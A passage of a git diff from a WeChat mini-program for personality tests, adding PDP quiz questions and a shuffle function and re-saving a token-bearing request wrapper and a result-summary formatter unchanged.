"Chameleon", text: "根据对象调整" }] }, + { id: 10, question: "您对变化的态度是:", options: [{ value: "Tiger", text: "主动推动" }, { value: "Peacock", text: "积极拥抱" }, { value: "Koala", text: "需要适应" }, { value: "Owl", text: "谨慎评估" }, { value: "Chameleon", text: "随机应变" }] }, + { id: 11, question: "您的时间管理风格是:", options: [{ value: "Tiger", text: "追求速度" }, { value: "Peacock", text: "灵活安排" }, { value: "Koala", text: "稳定执行" }, { value: "Owl", text: "精确规划" }, { value: "Chameleon", text: "根据情况调整" }] }, + { id: 12, question: "您被什么激励:", options: [{ value: "Tiger", text: "成就权力" }, { value: "Peacock", text: "认可赞赏" }, { value: "Koala", text: "安全归属" }, { value: "Owl", text: "正确标准" }, { value: "Chameleon", text: "多样平衡" }] }, + { id: 13, question: "您的学习方式是:", options: [{ value: "Tiger", text: "边做边学" }, { value: "Peacock", text: "互动讨论" }, { value: "Koala", text: "循序渐进" }, { value: "Owl", text: "深入研究" }, { value: "Chameleon", text: "多种结合" }] }, + { id: 14, question: "您对规则的态度是:", options: [{ value: "Tiger", text: "灵活打破" }, { value: "Peacock", text: "不拘一格" }, { value: "Koala", text: "遵守维护" }, { value: "Owl", text: "严格遵守" }, { value: "Chameleon", text: "灵活处理" }] }, + { id: 15, question: "您在团队中的角色是:", options: [{ value: "Tiger", text: "领导者" }, { value: "Peacock", text: "激励者" }, { value: "Koala", text: "协调者" }, { value: "Owl", text: "专家" }, { value: "Chameleon", text: "多面手" }] }, + { id: 16, question: "您的工作节奏是:", options: [{ value: "Tiger", text: "快节奏" }, { value: "Peacock", text: "充满活力" }, { value: "Koala", text: "稳定有序" }, { value: "Owl", text: "有条理" }, { value: "Chameleon", text: "灵活调整" }] }, + { id: 17, question: "您最大的优势是:", options: [{ value: "Tiger", text: "执行力" }, { value: "Peacock", text: "影响力" }, { value: "Koala", text: "可靠性" }, { value: "Owl", text: "准确性" }, { value: "Chameleon", text: "适应力" }] }, + { id: 18, question: "您的人际关系特点是:", options: [{ value: "Tiger", text: "目标导向" }, { value: "Peacock", text: "朋友众多" }, { value: "Koala", text: "关系稳定" }, { value: "Owl", text: "志同道合" }, { value: "Chameleon", text: "灵活建立" }] }, + { id: 19, question: "面对批评,您的反应是:", options: [{ value: "Tiger", text: "可能反驳" }, { value: "Peacock", text: "可能受伤" }, { value: "Koala", text: "接受思考" }, { value: "Owl", text: "分析合理性" }, { value: "Chameleon", text: "灵活调整" }] }, + { id: 20, question: "您的理想工作环境是:", options: [{ value: "Tiger", text: "充满挑战" }, { value: "Peacock", text: "互动频繁" }, { value: "Koala", text: "稳定和谐" }, { value: "Owl", text: "有序规范" }, { value: "Chameleon", text: "灵活多变" }] } +] + +/** + * Fisher-Yates 洗牌:随机打乱题目顺序,同时随机打乱每题的选项顺序 + * 不修改原数组,返回深拷贝后的新数组 + * @param {Array} questions - 原题目数组 + * @returns {Array} 打乱后的题目数组 + */ +function shuffleQuestions(questions) { + // 深拷贝,避免污染原始数组 + const arr = questions.map(q => ({ + ...q, + options: q.options.slice().sort(() => Math.random() - 0.5) + })) + // Fisher-Yates 打乱题目顺序 + for (let i = arr.length - 1; i > 0; i--) { + const j = Math.floor(Math.random() * (i + 1)); + [arr[i], arr[j]] = [arr[j], arr[i]] + } + return arr +} + +module.exports = { + mbtiQuestions, + discQuestions, + pdpQuestions, + shuffleQuestions +} diff --git a/miniprogram/utils/request.js b/miniprogram/utils/request.js index 6c53b9b..d46efad 100644 --- a/miniprogram/utils/request.js +++ b/miniprogram/utils/request.js @@ -1,109 +1,109 @@ -/** - * 统一请求封装:自动拼接 baseURL、携带 token、处理 401 - * 使用前需已执行 App(),否则 getApp() 在 require 时可能未就绪,这里在请求时再取 app - */ -function getAppSafe() { - try { - return getApp() - } catch (e) { - return null - } -} - -function getToken() { - const app = getAppSafe() - return (app && app.globalData && app.globalData.token) || wx.getStorageSync('token') || '' -} - -function getApiBase() { - const app = getAppSafe() - return (app && app.globalData && app.globalData.apiBase) || '' -} - -/** - * 清除登录态(401 或主动退出时调用) - */ -function clearLoginState() { - const app = getAppSafe() - if (app && app.globalData) { - app.globalData.token = null - app.globalData.userInfo = null - app.globalData.openId = null - } - try { - wx.removeStorageSync('token') - wx.removeStorageSync('userInfo') - } catch (e) {} -} - -/** - * 发起请求 - * @param {Object} options - 同 wx.request,url 可为相对路径(自动加 apiBase) - * @param {boolean} options.needAuth - 是否携带 Authorization,默认 true - * @param {boolean} options.allow401 - 401 时是否静默清除登录态而不 fail,默认 true - */ -function request(options) { - const apiBase = getApiBase() - const url = options.url - const fullUrl = url.startsWith('http') ? url : `${apiBase.replace(/\/$/, '')}${url.startsWith('/') ? '' : '/'}${url}` - const needAuth = options.needAuth !== false - const allow401 = options.allow401 !== false - - const header = { - 'Content-Type': 'application/json', - ...(options.header || {}) - } - if (needAuth) { - const token = getToken() - if (token) header['Authorization'] = `Bearer ${token}` - } - - const success = options.success - const fail = options.fail - const complete = options.complete - - return wx.request({ - ...options, - url: fullUrl, - header, - success(res) { - if (res.statusCode === 401 && allow401) { - clearLoginState() - } - if (success) success(res) - }, - fail(err) { - if (fail) fail(err) - }, - complete(res) { - if (complete) complete(res) - } - }) -} - -/** - * Promise 版 request,便于 async/await - */ -function requestPromise(options) { - return new Promise((resolve, reject) => { - request({ - ...options, - success(res) { - if (res.statusCode >= 200 && res.statusCode < 300) { - resolve(res) - } else { - reject(new Error(res.data && res.data.message ? res.data.message : '请求失败')) - } - }, - fail: reject - }) - }) -} - -module.exports = { - request, - requestPromise, - getToken, - getApiBase, - clearLoginState -} +/** + * 统一请求封装:自动拼接 baseURL、携带 token、处理 401 + * 使用前需已执行 App(),否则 getApp() 在 require 时可能未就绪,这里在请求时再取 app + */ +function getAppSafe() { + try { + return getApp() + } catch (e) { + return null + } +} + +function getToken() { + const app = getAppSafe() + return (app && app.globalData && app.globalData.token) || wx.getStorageSync('token') || '' +} + +function getApiBase() { + const app = getAppSafe() + return (app && app.globalData && app.globalData.apiBase) || '' +} + +/** + * 清除登录态(401 或主动退出时调用) + */ +function clearLoginState() { + const app = getAppSafe() + if (app && app.globalData) { + app.globalData.token = null + app.globalData.userInfo = null + app.globalData.openId = null + } + try { + wx.removeStorageSync('token') + wx.removeStorageSync('userInfo') + } catch (e) {} +} + +/** + * 发起请求 + * @param {Object} options - 同 wx.request,url 可为相对路径(自动加 apiBase) + * @param {boolean} options.needAuth - 是否携带 Authorization,默认 true + * @param {boolean} options.allow401 - 401 时是否静默清除登录态而不 fail,默认 true + */ +function request(options) { + const apiBase = getApiBase() + const url = options.url + const fullUrl = url.startsWith('http') ? url : `${apiBase.replace(/\/$/, '')}${url.startsWith('/') ? '' : '/'}${url}` + const needAuth = options.needAuth !== false + const allow401 = options.allow401 !== false + + const header = { + 'Content-Type': 'application/json', + ...(options.header || {}) + } + if (needAuth) { + const token = getToken() + if (token) header['Authorization'] = `Bearer ${token}` + } + + const success = options.success + const fail = options.fail + const complete = options.complete + + return wx.request({ + ...options, + url: fullUrl, + header, + success(res) { + if (res.statusCode === 401 && allow401) { + clearLoginState() + } + if (success) success(res) + }, + fail(err) { + if (fail) fail(err) + }, + complete(res) { + if (complete) complete(res) + } + }) +} + +/** + * Promise 版 request,便于 async/await + */ +function requestPromise(options) { + return new Promise((resolve, reject) => { + request({ + ...options, + success(res) { + if (res.statusCode >= 200 && res.statusCode < 300) { + resolve(res) + } else { + reject(new Error(res.data && res.data.message ? res.data.message : '请求失败')) + } + }, + fail: reject + }) + }) +} + +module.exports = { + request, + requestPromise, + getToken, + getApiBase, + clearLoginState +} diff --git a/miniprogram/utils/resultFormat.js b/miniprogram/utils/resultFormat.js index a8976fe..e749d0f 100644 --- a/miniprogram/utils/resultFormat.js +++ b/miniprogram/utils/resultFormat.js @@ -1,95 +1,95 @@ -/** - * 测试结果摘要格式化:类型 + 整数百分比(与管理后台一致) - */ - -function toIntPercent(value) { - if (value == null) return 0 - const n = typeof value === 'number' ? value : Number(value) - return Number.isFinite(n) ? Math.round(n) : 0 -} - -/** - * 根据测试类型和原始结果,生成带整数百分比的摘要文案 - * @param {object} data - 单条测试结果(mbtiResult / discResult / pdpResult) - * @param {string} testType - 'mbti' | 'disc' | 'pdp' - * @returns {string} - */ -function formatTestSummary(data, testType) { - if (!data || typeof data !== 'object') return '' - const t = (testType || '').toLowerCase() - - if (t === 'mbti') { - const label = data.mbtiType || data.type || data.result || '' - const dims = data.dimensionScores - if (dims && typeof dims === 'object') { - const parts = [] - const order = ['EI', 'SN', 'TF', 'JP'] - for (const key of order) { - const pct = dims[key] && (dims[key].percentage != null ? dims[key].percentage : dims[key].dominant) - if (pct != null) parts.push(toIntPercent(pct) + '%') - } - if (parts.length) return label + ' (' + parts.join(' ') + ')' - } - return String(label) - } - - if (t === 'disc') { - const desc = data.description && data.description.type - const label = (typeof desc === 'string' && desc) ? desc : ((data.dominantType ? data.dominantType + '型' : '') || (data.disc || '')) - const pct = data.percentages - if (pct && typeof pct === 'object') { - const d = toIntPercent(pct.D != null ? pct.D : pct.d) - const i = toIntPercent(pct.I != null ? pct.I : pct.i) - const s = toIntPercent(pct.S != null ? pct.S : pct.s) - const c = toIntPercent(pct.C != null ? pct.C : pct.c) - return label + ' D:' + d + '% I:' + i + '% S:' + s + '% C:' + c + '%' - } - return label || '' - } - - if (t === 'pdp') { - const desc = data.description && data.description.type - const label = (typeof desc === 'string' && desc) ? desc : (data.dominantType || data.pdp || '') - const pct = data.percentages - if (pct && typeof pct === 'object') { - const names = { Tiger: '老虎', Peacock: '孔雀', Owl: '猫头鹰', Koala: '考拉', Chameleon: '变色龙' } - const parts = [] - for (const [key, name] of Object.entries(names)) { - const v = pct[key] != null ? pct[key] : pct[key.toLowerCase()] - if (v != null) parts.push(name + ':' + toIntPercent(v) + '%') - } - if (parts.length) return label + ' ' + parts.join(' ') - } - return label || '' - } - - return '' -} - -/** - * 仅返回类型标签(无百分比),用于列表、个人中心等 - */ -function getTypeOnly(data, testType) { - if (!data || typeof data !== 'object') return '' - const t = (testType || '').toLowerCase() - if (t === 'mbti') return String(data.mbtiType ?? data.type ?? data.result ?? '') - if (t === 'disc') { - const desc = data.description?.type - if (typeof desc === 'string' && desc) return desc - if (data.dominantType) return String(data.dominantType) + '型' - return String(data.disc ?? '') - } - if (t === 'pdp') { - const desc = data.description?.type - if (typeof desc === 'string' && desc) return desc - if (data.dominantType) return String(data.dominantType) - return String(data.pdp ?? '') - } - return '' -} - -module.exports = { - toIntPercent, - formatTestSummary, - getTypeOnly -} +/** + * 测试结果摘要格式化:类型 + 整数百分比(与管理后台一致) + */ + +function toIntPercent(value) { + if (value == null) return 0 + const n = typeof value === 'number' ? value : Number(value) + return Number.isFinite(n) ? Math.round(n) : 0 +} + +/** + * 根据测试类型和原始结果,生成带整数百分比的摘要文案 + * @param {object} data - 单条测试结果(mbtiResult / discResult / pdpResult) + * @param {string} testType - 'mbti' | 'disc' | 'pdp' + * @returns {string} + */ +function formatTestSummary(data, testType) { + if (!data || typeof data !== 'object') return '' + const t = (testType || '').toLowerCase() + + if (t === 'mbti') { + const label = data.mbtiType || data.type || data.result || '' + const dims = data.dimensionScores + if (dims && typeof dims === 'object') { + const parts = [] + const order = ['EI', 'SN', 'TF', 'JP'] + for (const key of order) { + const pct = dims[key] && (dims[key].percentage != null ? dims[key].percentage : dims[key].dominant) + if (pct != null) parts.push(toIntPercent(pct) + '%') + } + if (parts.length) return label + ' (' + parts.join(' ') + ')' + } + return String(label) + } + + if (t === 'disc') { + const desc = data.description && data.description.type + const label = (typeof desc === 'string' && desc) ? desc : ((data.dominantType ? data.dominantType + '型' : '') || (data.disc || '')) + const pct = data.percentages + if (pct && typeof pct === 'object') { + const d = toIntPercent(pct.D != null ? pct.D : pct.d) + const i = toIntPercent(pct.I != null ? pct.I : pct.i) + const s = toIntPercent(pct.S != null ? pct.S : pct.s) + const c = toIntPercent(pct.C != null ? pct.C : pct.c) + return label + ' D:' + d + '% I:' + i + '% S:' + s + '% C:' + c + '%' + } + return label || '' + } + + if (t === 'pdp') { + const desc = data.description && data.description.type + const label = (typeof desc === 'string' && desc) ? desc : (data.dominantType || data.pdp || '') + const pct = data.percentages + if (pct && typeof pct === 'object') { + const names = { Tiger: '老虎', Peacock: '孔雀', Owl: '猫头鹰', Koala: '考拉', Chameleon: '变色龙' } + const parts = [] + for (const [key, name] of Object.entries(names)) { + const v = pct[key] != null ? pct[key] : pct[key.toLowerCase()] + if (v != null) parts.push(name + ':' + toIntPercent(v) + '%') + } + if (parts.length) return label + ' ' + parts.join(' ') + } + return label || '' + } + + return '' +} + +/** + * 仅返回类型标签(无百分比),用于列表、个人中心等 + */ +function getTypeOnly(data, testType) { + if (!data || typeof data !== 'object') return '' + const t = (testType || '').toLowerCase() + if (t === 'mbti') return String(data.mbtiType ?? data.type ?? data.result ?? '') + if (t === 'disc') { + const desc = data.description?.type + if (typeof desc === 'string' && desc) return desc + if (data.dominantType) return String(data.dominantType) + '型' + return String(data.disc ?? '') + } + if (t === 'pdp') { + const desc = data.description?.type + if (typeof desc === 'string' && desc) return desc + if (data.dominantType) return String(data.dominantType) + return String(data.pdp ?? '') + } + return '' +} + +module.exports = { + toIntPercent, + formatTestSummary, + getTypeOnly +}